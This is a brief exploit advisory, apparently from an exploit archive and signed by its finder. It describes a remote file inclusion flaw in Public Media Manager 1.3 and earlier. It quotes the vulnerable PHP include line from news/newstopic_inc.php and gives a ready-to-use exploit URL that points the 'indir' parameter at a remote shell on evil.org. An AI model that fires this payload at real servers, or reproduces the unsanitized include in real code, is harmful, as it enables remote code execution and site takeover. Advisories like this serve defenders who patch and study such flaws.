Public Media Manager versions 1.3 and below suffer from a remote file inclusion vulnerability.
73c24490fa872998ce87aa181b956bc916cdd6b48ba86c301e654ff1fd49ae10
#f0und bY 0in
#Download:http://pmm-cms.sourceforge.net/
BUG:
news/newstopic_inc.php:2:if (!empty($indir)) include_once ($indir)."/newsdb/config.php";
Expl0it:
http://x.com/[path]/news/newstopic_inc.php?indir=http://evil.org/shell.txt